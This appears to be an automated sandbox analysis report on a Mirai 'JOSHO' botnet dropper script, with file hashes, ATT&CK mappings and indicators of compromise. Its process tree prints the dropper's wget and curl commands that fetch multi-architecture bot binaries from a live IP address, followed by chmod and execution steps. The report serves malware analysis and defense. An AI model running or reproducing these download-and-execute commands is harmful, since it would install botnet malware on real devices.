mirai | 9dd52ca3bd9dd62a4ad017f93c39e0f6855cb9b9d9b01656e6cd71593619dc2a

Analysis

max time kernel
112s
max time network
151s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
03/11/2024, 03:31

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
9dd52ca3bd9dd62a4ad017f93c39e0f6855cb9b9d9b01656e6cd71593619dc2a.sh
Size 1KB
Sample241103-d3grlstema
SHA256 9dd52ca3bd9dd62a4ad017f93c39e0f6855cb9b9d9b01656e6cd71593619dc2a
MD5 708cae4cf814c3deda4208da228fad4e
SHA1 36718f87b1a7d742a991f06f7ce396f70d457861
SHA512 58584fc22497be264b532dbad3bbf88c0a13a133266c75013fea1d4a2fba025ac4422885afb4cd1caa57380c5ac842ea5a15df3eb77fdae5a34950c25ae94bfd
MD5 SHA1 SHA512

Score

10^/10

mirai josho botnet defense_evasion discovery

Malware Config

Extracted

Family

mirai

Botnet

JOSHO

Extracted

Family

mirai

Botnet

JOSHO

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 10 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
865	chmod
881	chmod
754	chmod
791	chmod
815	chmod
857	chmod
873	chmod
734	chmod
800	chmod
849	chmod

Executes dropped EXE 10 IoCs

ioc	pid	Process
/tmp/3AvA	735	3AvA
/tmp/3AvA	755	3AvA
/tmp/3AvA	792	3AvA
/tmp/3AvA	801	3AvA
/tmp/3AvA	816	3AvA
/tmp/3AvA	850	3AvA
/tmp/3AvA	858	3AvA
/tmp/3AvA	866	3AvA
/tmp/3AvA	874	3AvA
/tmp/3AvA	882	3AvA

Modifies Watchdog functionality 1 TTPs 16 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/misc/watchdog	3AvA
File opened for modification	/dev/watchdog	3AvA
File opened for modification	/dev/watchdog	3AvA
File opened for modification	/dev/watchdog	3AvA
File opened for modification	/dev/watchdog	3AvA
File opened for modification	/dev/watchdog	3AvA
File opened for modification	/dev/misc/watchdog	3AvA
File opened for modification	/dev/misc/watchdog	3AvA
File opened for modification	/dev/misc/watchdog	3AvA
File opened for modification	/dev/watchdog	3AvA
File opened for modification	/dev/misc/watchdog	3AvA
File opened for modification	/dev/watchdog	3AvA
File opened for modification	/dev/misc/watchdog	3AvA
File opened for modification	/dev/misc/watchdog	3AvA
File opened for modification	/dev/misc/watchdog	3AvA
File opened for modification	/dev/watchdog	3AvA

Changes its process name 8 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	i104efm1d152bhda2pn	792	3AvA
Changes the process name, possibly in an attempt to hide itself	pan13afmmk10gn5b3	801	3AvA
Changes the process name, possibly in an attempt to hide itself	150m305i4c1h1n11k	816	3AvA
Changes the process name, possibly in an attempt to hide itself	fj1134n13egggag02	850	3AvA
Changes the process name, possibly in an attempt to hide itself	ammjoc1mgenb0i321k5	858	3AvA
Changes the process name, possibly in an attempt to hide itself	pjab1i113knjpiej	866	3AvA
Changes the process name, possibly in an attempt to hide itself	h1ddebkmn0jphm	874	3AvA
Changes the process name, possibly in an attempt to hide itself	gfgjbnn	882	3AvA

Reads runtime system information 10 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
737	wget
738	curl
752	cat

Writes file to tmp directory 20 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/Josho.x86	wget
File opened for modification	/tmp/3AvA	9dd52ca3bd9dd62a4ad017f93c39e0f6855cb9b9d9b01656e6cd71593619dc2a.sh
File opened for modification	/tmp/Josho.mpsl	wget
File opened for modification	/tmp/Josho.arm5	curl
File opened for modification	/tmp/Josho.arm6	wget
File opened for modification	/tmp/Josho.arm6	curl
File opened for modification	/tmp/Josho.m68k	curl
File opened for modification	/tmp/Josho.sh4	wget
File opened for modification	/tmp/Josho.mpsl	curl
File opened for modification	/tmp/Josho.sh4	curl
File opened for modification	/tmp/Josho.arm4	curl
File opened for modification	/tmp/Josho.arm5	wget
File opened for modification	/tmp/Josho.m68k	wget
File opened for modification	/tmp/Josho.x86	curl
File opened for modification	/tmp/Josho.mips	wget
File opened for modification	/tmp/Josho.mips	curl
File opened for modification	/tmp/Josho.arm7	wget
File opened for modification	/tmp/Josho.arm7	curl
File opened for modification	/tmp/Josho.ppc	wget
File opened for modification	/tmp/Josho.ppc	curl

/tmp/9dd52ca3bd9dd62a4ad017f93c39e0f6855cb9b9d9b01656e6cd71593619dc2a.sh
/tmp/9dd52ca3bd9dd62a4ad017f93c39e0f6855cb9b9d9b01656e6cd71593619dc2a.sh
1⤵
- Writes file to tmp directory
PID:704
- /usr/bin/wget
  wget http://95.164.4.65/AB4g5/Josho.x86
  2⤵
  - Writes file to tmp directory
  PID:706
- /usr/bin/curl
  curl -O http://95.164.4.65/AB4g5/Josho.x86
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:732
- /bin/cat
  cat Josho.x86
  2⤵
  PID:733
- /bin/chmod
  chmod +x 3AvA 9dd52ca3bd9dd62a4ad017f93c39e0f6855cb9b9d9b01656e6cd71593619dc2a.sh Josho.x86 systemd-private-4cb956a2fd91447da6e1b309a5742ec8-systemd-timedated.service-zTPAYR
  2⤵
  - File and Directory Permissions Modification
  PID:734
- /tmp/3AvA
  ./3AvA ssh
  2⤵
  - Executes dropped EXE
  PID:735
- /usr/bin/wget
  wget http://95.164.4.65/AB4g5/Josho.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:737
- /usr/bin/curl
  curl -O http://95.164.4.65/AB4g5/Josho.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:738
- /bin/cat
  cat Josho.mips
  2⤵
  - System Network Configuration Discovery
  PID:752
- /bin/chmod
  chmod +x 3AvA 9dd52ca3bd9dd62a4ad017f93c39e0f6855cb9b9d9b01656e6cd71593619dc2a.sh Josho.mips Josho.x86 systemd-private-4cb956a2fd91447da6e1b309a5742ec8-systemd-timedated.service-zTPAYR
  2⤵
  - File and Directory Permissions Modification
  PID:754
- /tmp/3AvA
  ./3AvA ssh
  2⤵
  - Executes dropped EXE
  PID:755
- /usr/bin/wget
  wget http://95.164.4.65/AB4g5/Josho.mpsl
  2⤵
  - Writes file to tmp directory
  PID:758
- /usr/bin/curl
  curl -O http://95.164.4.65/AB4g5/Josho.mpsl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:775
- /bin/cat
  cat Josho.mpsl
  2⤵
  PID:790
- /bin/chmod
  chmod +x 3AvA 9dd52ca3bd9dd62a4ad017f93c39e0f6855cb9b9d9b01656e6cd71593619dc2a.sh Josho.mips Josho.mpsl Josho.x86 systemd-private-4cb956a2fd91447da6e1b309a5742ec8-systemd-timedated.service-zTPAYR
  2⤵
  - File and Directory Permissions Modification
  PID:791
- /tmp/3AvA
  ./3AvA ssh
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Changes its process name
  PID:792
- /usr/bin/wget
  wget http://95.164.4.65/AB4g5/Josho.arm4
  2⤵
  PID:795
- /usr/bin/curl
  curl -O http://95.164.4.65/AB4g5/Josho.arm4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:797
- /bin/chmod
  chmod +x 3AvA 9dd52ca3bd9dd62a4ad017f93c39e0f6855cb9b9d9b01656e6cd71593619dc2a.sh Josho.arm4 Josho.mips Josho.mpsl Josho.x86 systemd-private-4cb956a2fd91447da6e1b309a5742ec8-systemd-timedated.service-zTPAYR
  2⤵
  - File and Directory Permissions Modification
  PID:800
- /tmp/3AvA
  ./3AvA ssh
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Changes its process name
  PID:801
- /usr/bin/wget
  wget http://95.164.4.65/AB4g5/Josho.arm5
  2⤵
  - Writes file to tmp directory
  PID:805
- /usr/bin/curl
  curl -O http://95.164.4.65/AB4g5/Josho.arm5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:806
- /bin/chmod
  chmod +x 3AvA 9dd52ca3bd9dd62a4ad017f93c39e0f6855cb9b9d9b01656e6cd71593619dc2a.sh Josho.arm4 Josho.arm5 Josho.mips Josho.mpsl Josho.x86
  2⤵
  - File and Directory Permissions Modification
  PID:815
- /tmp/3AvA
  ./3AvA ssh
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Changes its process name
  PID:816
- /usr/bin/wget
  wget http://95.164.4.65/AB4g5/Josho.arm6
  2⤵
  - Writes file to tmp directory
  PID:819
- /usr/bin/curl
  curl -O http://95.164.4.65/AB4g5/Josho.arm6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:835
- /bin/chmod
  chmod +x 3AvA 9dd52ca3bd9dd62a4ad017f93c39e0f6855cb9b9d9b01656e6cd71593619dc2a.sh Josho.arm4 Josho.arm5 Josho.arm6 Josho.mips Josho.mpsl Josho.x86
  2⤵
  - File and Directory Permissions Modification
  PID:849
- /tmp/3AvA
  ./3AvA ssh
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Changes its process name
  PID:850
- /usr/bin/wget
  wget http://95.164.4.65/AB4g5/Josho.arm7
  2⤵
  - Writes file to tmp directory
  PID:853
- /usr/bin/curl
  curl -O http://95.164.4.65/AB4g5/Josho.arm7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:855
- /bin/chmod
  chmod +x 3AvA 9dd52ca3bd9dd62a4ad017f93c39e0f6855cb9b9d9b01656e6cd71593619dc2a.sh Josho.arm4 Josho.arm5 Josho.arm6 Josho.arm7 Josho.mips Josho.mpsl Josho.x86
  2⤵
  - File and Directory Permissions Modification
  PID:857
- /tmp/3AvA
  ./3AvA ssh
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Changes its process name
  PID:858
- /usr/bin/wget
  wget http://95.164.4.65/AB4g5/Josho.ppc
  2⤵
  - Writes file to tmp directory
  PID:861
- /usr/bin/curl
  curl -O http://95.164.4.65/AB4g5/Josho.ppc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:863
- /bin/chmod
  chmod +x 3AvA 9dd52ca3bd9dd62a4ad017f93c39e0f6855cb9b9d9b01656e6cd71593619dc2a.sh Josho.arm4 Josho.arm5 Josho.arm6 Josho.arm7 Josho.mips Josho.mpsl Josho.ppc Josho.x86
  2⤵
  - File and Directory Permissions Modification
  PID:865
- /tmp/3AvA
  ./3AvA ssh
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Changes its process name
  PID:866
- /usr/bin/wget
  wget http://95.164.4.65/AB4g5/Josho.m68k
  2⤵
  - Writes file to tmp directory
  PID:869
- /usr/bin/curl
  curl -O http://95.164.4.65/AB4g5/Josho.m68k
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:871
- /bin/chmod
  chmod +x 3AvA 9dd52ca3bd9dd62a4ad017f93c39e0f6855cb9b9d9b01656e6cd71593619dc2a.sh Josho.arm4 Josho.arm5 Josho.arm6 Josho.arm7 Josho.m68k Josho.mips Josho.mpsl Josho.ppc Josho.x86
  2⤵
  - File and Directory Permissions Modification
  PID:873
- /tmp/3AvA
  ./3AvA ssh
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Changes its process name
  PID:874
- /usr/bin/wget
  wget http://95.164.4.65/AB4g5/Josho.sh4
  2⤵
  - Writes file to tmp directory
  PID:877
- /usr/bin/curl
  curl -O http://95.164.4.65/AB4g5/Josho.sh4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:879
- /bin/chmod
  chmod +x 3AvA 9dd52ca3bd9dd62a4ad017f93c39e0f6855cb9b9d9b01656e6cd71593619dc2a.sh Josho.arm4 Josho.arm5 Josho.arm6 Josho.arm7 Josho.m68k Josho.mips Josho.mpsl Josho.ppc Josho.sh4 Josho.x86
  2⤵
  - File and Directory Permissions Modification
  PID:881
- /tmp/3AvA
  ./3AvA ssh
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Changes its process name
  PID:882

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

3AvA

Path /tmp/3AvA
Size 67KB
SHA256 4bee1419ae6dcdee90de4ba370577d2713743d4a472eb2b1332340cef1422662
MD5 9008278c8d10f1fd784983ffc069faec
SHA1 14a1a461deb79a39ca005346e38b0481f6946c30
SHA512 cd4154033799a05942f2d1a798df3f9e022315c4badebb77803d28de436b58b8664f7317bb53491eeb4190c151992e2dade6f0d28bba839a89246e260bfe22ff
SSDEEP 768:sklXdDZfWi+DmBfizI8CZ0vwLlyitTDdtTPFSWcRjX+CPPota93pWj4UpapRr4+G:3fiza0vwhyGbcR0a936oRc+gR
MD5 SHA1 SHA512 SSDEEP

Submit Download

3AvA

Path /tmp/3AvA
Size 70KB
SHA256 3d0c1001389a6b3580bc477d8dd1e68f0b94a6129d6b5beda6d454d927c4422a
MD5 af8e817b07939d959d307a416d258cfd
SHA1 ab3eb7aaa9bbafd61cf7dddc83496d440b5fe75d
SHA512 b5aa5bfcd5c66b9db09c2c9704cde7115904a0939e5df575338c4f329ecdfd98b945ce5d61f481f0c5aadc573a672e4435d5d6a8d0aa002072632a52b59e78e6
SSDEEP 768:7iKG5Ms2q+BxL9MxHOXZlIInQ3UWKe8geRegEeycuZxNZ9XiwKBy73:762q+T9MxQyIT+49E3ZZxNLKBo
MD5 SHA1 SHA512 SSDEEP

Submit Download

Josho.x86

Path /tmp/Josho.x86
Size 47KB
SHA256 4308ed406a8de64eb3ca4e6accc27d10794e960a4631590cab569cf734f3d3e9
MD5 53677bdb064aafe349e4abc36aa7fe75
SHA1 f15ef44055153f9dcb254fb9254f518a366fcaa8
SHA512 45517017c721ced8bf8d956b456eae21f985bfeaff31902c3ac29e368b3a0d437b834fb443a70689a2ef205fc8c1b69974708c169ca9ff7d793a33027fb29dd1
SSDEEP 768:123dsPuGMj1Kh6t6JXCKuaatRrvvEofkig7JmW3yOjEe87zkxF:YdsPuNj1Kh6tsSKuaatRrvvEof67JL3l
MD5 SHA1 SHA512 SSDEEP

Submit Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads